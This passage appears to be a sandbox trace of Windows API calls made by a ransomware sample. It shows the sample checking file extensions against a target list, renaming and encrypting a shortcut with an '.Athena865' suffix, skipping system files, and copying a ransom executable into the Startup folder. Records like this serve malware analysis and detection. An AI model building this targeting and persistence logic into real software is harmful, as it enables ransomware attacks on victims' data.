(lpString="xml") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.539] lstrlenW (lpString="$er") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.539] lstrlenW (lpString="4dd") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.539] lstrlenW (lpString="4dl") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.539] lstrlenW (lpString="^^^") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.539] lstrlenW (lpString="abs") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.540] lstrlenW (lpString="abx") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.540] lstrlenW (lpString="accdb") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1 [0099.540] lstrlenW (lpString="accdc") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1 [0099.540] lstrlenW (lpString="accde") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1 [0099.540] lstrlenW (lpString="accdr") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1 [0099.540] lstrlenW (lpString="accdt") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1 [0099.540] lstrlenW (lpString="accdw") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1 [0099.540] lstrlenW (lpString="accft") returned 5 [0099.540] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1 [0099.540] lstrlenW (lpString="adb") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.540] lstrlenW (lpString="adb") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.540] lstrlenW (lpString="ade") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.540] lstrlenW (lpString="adf") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.540] lstrlenW (lpString="adn") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.540] lstrlenW (lpString="adp") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.540] lstrlenW (lpString="alf") returned 3 [0099.540] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.541] lstrlenW (lpString="ask") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.541] lstrlenW (lpString="btr") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.541] lstrlenW (lpString="cat") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.541] lstrlenW (lpString="cdb") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.541] lstrlenW (lpString="ckp") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.541] lstrlenW (lpString="cma") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.541] lstrlenW (lpString="cpd") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.541] lstrlenW (lpString="dacpac") returned 6 [0099.541] lstrcmpiW (lpString1="ar.lnk", lpString2="dacpac") returned -1 [0099.541] lstrlenW (lpString="dad") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.541] lstrlenW (lpString="dadiagrams") returned 10 [0099.541] lstrcmpiW (lpString1="idebar.lnk", lpString2="dadiagrams") returned 1 [0099.541] lstrlenW (lpString="daschema") returned 8 [0099.541] lstrcmpiW (lpString1="ebar.lnk", lpString2="daschema") returned 1 [0099.541] lstrlenW (lpString="db-journal") returned 10 [0099.541] lstrcmpiW (lpString1="idebar.lnk", lpString2="db-journal") returned 1 [0099.541] lstrlenW (lpString="db-shm") returned 6 [0099.541] lstrcmpiW (lpString1="ar.lnk", lpString2="db-shm") returned -1 [0099.541] lstrlenW (lpString="db-wal") returned 6 [0099.541] lstrcmpiW (lpString1="ar.lnk", lpString2="db-wal") returned -1 [0099.541] lstrlenW (lpString="dbc") returned 3 [0099.541] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.542] lstrlenW (lpString="dbs") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.542] lstrlenW (lpString="dbt") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.542] lstrlenW (lpString="dbv") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.542] lstrlenW (lpString="dbx") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.542] lstrlenW (lpString="dcb") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.542] lstrlenW (lpString="dct") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0099.542] lstrlenW (lpString="dcx") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0099.542] lstrlenW (lpString="ddl") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0099.542] lstrlenW (lpString="dlis") returned 4 [0099.542] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0099.542] lstrlenW (lpString="dp1") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0099.542] lstrlenW (lpString="dqy") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0099.542] lstrlenW (lpString="dsk") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0099.542] lstrlenW (lpString="dsn") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0099.542] lstrlenW (lpString="dtsx") returned 4 [0099.542] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0099.542] lstrlenW (lpString="dxl") returned 3 [0099.542] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0099.542] lstrlenW (lpString="eco") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0099.543] lstrlenW (lpString="ecx") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0099.543] lstrlenW (lpString="edb") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0099.543] lstrlenW (lpString="epim") returned 4 [0099.543] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0099.543] lstrlenW (lpString="fcd") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0099.543] lstrlenW (lpString="fdb") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0099.543] lstrlenW (lpString="fic") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0099.543] lstrlenW (lpString="flexolibrary") returned 12 [0099.543] lstrlenW (lpString="fm5") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0099.543] lstrlenW (lpString="fmp") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0099.543] lstrlenW (lpString="fmp12") returned 5 [0099.543] lstrcmpiW (lpString1="r.lnk", lpString2="fmp12") returned 1 [0099.543] lstrlenW (lpString="fmpsl") returned 5 [0099.543] lstrcmpiW (lpString1="r.lnk", lpString2="fmpsl") returned 1 [0099.543] lstrlenW (lpString="fol") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0099.543] lstrlenW (lpString="fp3") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0099.543] lstrlenW (lpString="fp4") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0099.543] lstrlenW (lpString="fp5") returned 3 [0099.543] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0099.544] lstrlenW (lpString="fp7") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0099.544] lstrlenW (lpString="fpt") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0099.544] lstrlenW (lpString="frm") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0099.544] lstrlenW (lpString="gdb") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.544] lstrlenW (lpString="gdb") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.544] lstrlenW (lpString="grdb") returned 4 [0099.544] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0099.544] lstrlenW (lpString="gwi") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0099.544] lstrlenW (lpString="hdb") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0099.544] lstrlenW (lpString="his") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0099.544] lstrlenW (lpString="ib") returned 2 [0099.544] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0099.544] lstrlenW (lpString="idb") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0099.544] lstrlenW (lpString="ihx") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0099.544] lstrlenW (lpString="itdb") returned 4 [0099.544] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0099.544] lstrlenW (lpString="itw") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0099.544] lstrlenW (lpString="jet") returned 3 [0099.544] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0099.545] lstrlenW (lpString="jtx") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0099.545] lstrlenW (lpString="kdb") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0099.545] lstrlenW (lpString="kexi") returned 4 [0099.545] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0099.545] lstrlenW (lpString="kexic") returned 5 [0099.545] lstrcmpiW (lpString1="r.lnk", lpString2="kexic") returned 1 [0099.545] lstrlenW (lpString="kexis") returned 5 [0099.545] lstrcmpiW (lpString1="r.lnk", lpString2="kexis") returned 1 [0099.545] lstrlenW (lpString="lgc") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0099.545] lstrlenW (lpString="lwx") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0099.545] lstrlenW (lpString="maf") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0099.545] lstrlenW (lpString="maq") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0099.545] lstrlenW (lpString="mar") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0099.545] lstrlenW (lpString="marshal") returned 7 [0099.545] lstrcmpiW (lpString1="bar.lnk", lpString2="marshal") returned -1 [0099.545] lstrlenW (lpString="mas") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0099.545] lstrlenW (lpString="mav") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0099.545] lstrlenW (lpString="maw") returned 3 [0099.545] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0099.545] lstrlenW (lpString="mdbhtml") returned 7 [0099.546] lstrcmpiW (lpString1="bar.lnk", lpString2="mdbhtml") returned -1 [0099.546] lstrlenW (lpString="mdn") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0099.546] lstrlenW (lpString="mdt") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0099.546] lstrlenW (lpString="mfd") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0099.546] lstrlenW (lpString="mpd") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0099.546] lstrlenW (lpString="mrg") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0099.546] lstrlenW (lpString="mud") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0099.546] lstrlenW (lpString="mwb") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0099.546] lstrlenW (lpString="myd") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0099.546] lstrlenW (lpString="ndf") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0099.546] lstrlenW (lpString="nnt") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0099.546] lstrlenW (lpString="nrmlib") returned 6 [0099.546] lstrcmpiW (lpString1="ar.lnk", lpString2="nrmlib") returned -1 [0099.546] lstrlenW (lpString="ns2") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0099.546] lstrlenW (lpString="ns3") returned 3 [0099.546] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0099.546] lstrlenW (lpString="ns4") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0099.547] lstrlenW (lpString="nsf") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0099.547] lstrlenW (lpString="nv") returned 2 [0099.547] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0099.547] lstrlenW (lpString="nv2") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0099.547] lstrlenW (lpString="nwdb") returned 4 [0099.547] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0099.547] lstrlenW (lpString="nyf") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0099.547] lstrlenW (lpString="odb") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.547] lstrlenW (lpString="odb") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.547] lstrlenW (lpString="oqy") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0099.547] lstrlenW (lpString="ora") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0099.547] lstrlenW (lpString="orx") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0099.547] lstrlenW (lpString="owc") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0099.547] lstrlenW (lpString="p96") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0099.547] lstrlenW (lpString="p97") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0099.547] lstrlenW (lpString="pan") returned 3 [0099.547] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0099.547] lstrlenW (lpString="pdb") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0099.548] lstrlenW (lpString="pdm") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0099.548] lstrlenW (lpString="pnz") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0099.548] lstrlenW (lpString="qry") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0099.548] lstrlenW (lpString="qvd") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0099.548] lstrlenW (lpString="rbf") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0099.548] lstrlenW (lpString="rctd") returned 4 [0099.548] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0099.548] lstrlenW (lpString="rod") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0099.548] lstrlenW (lpString="rodx") returned 4 [0099.548] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0099.548] lstrlenW (lpString="rpd") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0099.548] lstrlenW (lpString="rsd") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0099.548] lstrlenW (lpString="sas7bdat") returned 8 [0099.548] lstrcmpiW (lpString1="ebar.lnk", lpString2="sas7bdat") returned -1 [0099.548] lstrlenW (lpString="sbf") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0099.548] lstrlenW (lpString="scx") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0099.548] lstrlenW (lpString="sdb") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0099.548] lstrlenW (lpString="sdc") returned 3 [0099.548] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0099.549] lstrlenW (lpString="sdf") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0099.549] lstrlenW (lpString="sis") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0099.549] lstrlenW (lpString="spq") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0099.549] lstrlenW (lpString="te") returned 2 [0099.549] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0099.549] lstrlenW (lpString="teacher") returned 7 [0099.549] lstrcmpiW (lpString1="bar.lnk", lpString2="teacher") returned -1 [0099.549] lstrlenW (lpString="tmd") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0099.549] lstrlenW (lpString="tps") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0099.549] lstrlenW (lpString="trc") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.549] lstrlenW (lpString="trc") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.549] lstrlenW (lpString="trm") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0099.549] lstrlenW (lpString="udb") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0099.549] lstrlenW (lpString="udl") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0099.549] lstrlenW (lpString="usr") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0099.549] lstrlenW (lpString="v12") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0099.549] lstrlenW (lpString="vis") returned 3 [0099.549] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0099.549] lstrlenW (lpString="vpd") returned 3 [0099.550] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0099.550] lstrlenW (lpString="vvv") returned 3 [0099.550] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0099.550] lstrlenW (lpString="wdb") returned 3 [0099.550] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0099.550] lstrlenW (lpString="wmdb") returned 4 [0099.550] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0099.550] lstrlenW (lpString="wrk") returned 3 [0099.550] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0099.550] lstrlenW (lpString="xdb") returned 3 [0099.550] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0099.550] lstrlenW (lpString="xld") returned 3 [0099.550] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0099.550] lstrlenW (lpString="xmlff") returned 5 [0099.550] lstrcmpiW (lpString1="r.lnk", lpString2="xmlff") returned -1 [0099.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Sidebar.lnk.Athena865") returned 56 [0099.550] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\start menu\\programs\\sidebar.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Sidebar.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\sidebar.lnk.athena865"), dwFlags=0x1) returned 1 [0099.551] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Sidebar.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\sidebar.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.551] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1330) returned 1 [0099.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.552] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.552] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.552] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.553] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x840, lpName=0x0) returned 0x17c [0099.554] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x840) returned 0x100000 [0099.555] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.556] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.556] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.557] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.557] CloseHandle (hObject=0x17c) returned 1 [0099.557] CloseHandle (hObject=0x154) returned 1 [0099.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.557] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2=".") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="..") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="windows") returned -1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="bootmgr") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="temp") returned -1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="pagefile.sys") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="boot") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="ids.txt") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="ntuser.dat") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="perflogs") returned 1 [0099.557] lstrcmpiW (lpString1="Startup", lpString2="MSBuild") returned 1 [0099.557] lstrlenW (lpString="Startup") returned 7 [0099.557] lstrcpyW (in: lpString1=0x241e88e, lpString2="Startup" | out: lpString1="Startup") returned="Startup" [0099.557] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Startup", dwFileAttributes=0x10) returned 1 [0099.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bf08 [0099.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52fe60 [0099.558] lstrcatW (in: lpString1="Startup", lpString2="\\" | out: lpString1="Startup\\") returned="Startup\\" [0099.558] lstrcatW (in: lpString1="Startup\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Startup\\HOW TO BACK YOUR FILES.exe") returned="Startup\\HOW TO BACK YOUR FILES.exe" [0099.558] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Startup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\startup\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.560] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2=".") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="..") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="windows") returned -1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="bootmgr") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="temp") returned -1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="pagefile.sys") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="boot") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="ids.txt") returned 1 [0099.560] lstrcmpiW (lpString1="Tablet PC", lpString2="ntuser.dat") returned 1 [0099.561] lstrcmpiW (lpString1="Tablet PC", lpString2="perflogs") returned 1 [0099.561] lstrcmpiW (lpString1="Tablet PC", lpString2="MSBuild") 